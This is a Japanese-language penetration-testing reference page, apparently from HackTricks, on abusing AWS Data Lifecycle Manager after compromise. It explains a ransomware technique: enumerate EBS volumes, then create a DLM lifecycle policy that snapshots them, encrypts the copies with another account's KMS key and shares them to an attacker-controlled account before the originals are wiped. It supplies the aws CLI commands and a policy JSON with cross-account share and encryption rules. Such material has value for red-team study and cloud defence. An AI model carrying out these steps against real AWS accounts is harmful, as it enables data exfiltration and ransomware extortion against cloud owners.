# AWS - DLM Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Data Lifecycle Manger (DLM)

### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`

A ransomware attackは、可能な限り多くの EBS volumes を暗号化し、その後現在の EC2 instances、EBS volumes、および snapshots を消去することで実行できます。この悪意のある活動を自動化するために、Amazon DLM を利用して、別の AWS account の KMS key で snapshots を暗号化し、暗号化された snapshots を別のアカウントに転送することができます。あるいは、暗号化せずに自分が管理するアカウントに snapshots を転送し、そこで暗号化する方法もあります。既存の EBS volumes や snapshots を直接暗号化するのは簡単ではありませんが、新しい volume や snapshot を作成することで暗号化することが可能です。

まず最初に、instance ID、volume ID、暗号化の有無（encryption status）、アタッチ状態（attachment status）、volume type などの volume に関する情報を収集するために次のコマンドを使用します。

`aws ec2 describe-volumes`

次に、lifecycle policy を作成します。このコマンドは DLM API を利用して、指定したボリュームの snapshots を所定の時刻に毎日自動取得する lifecycle policy を設定します。さらに、snapshots に特定のタグを付与し、ボリュームから snapshots へタグをコピーします。policyDetails.json ファイルには、ターゲットタグ、スケジュール、暗号化用の任意の KMS key の ARN、スナップショット共有先のターゲットアカウントなど、lifecycle policy の詳細が含まれており、これらは被害者の CloudTrail ログに記録されます。
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
ポリシー文書のテンプレートはここで確認できます:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
```
{{#include ../../../../banners/hacktricks-training.md}}
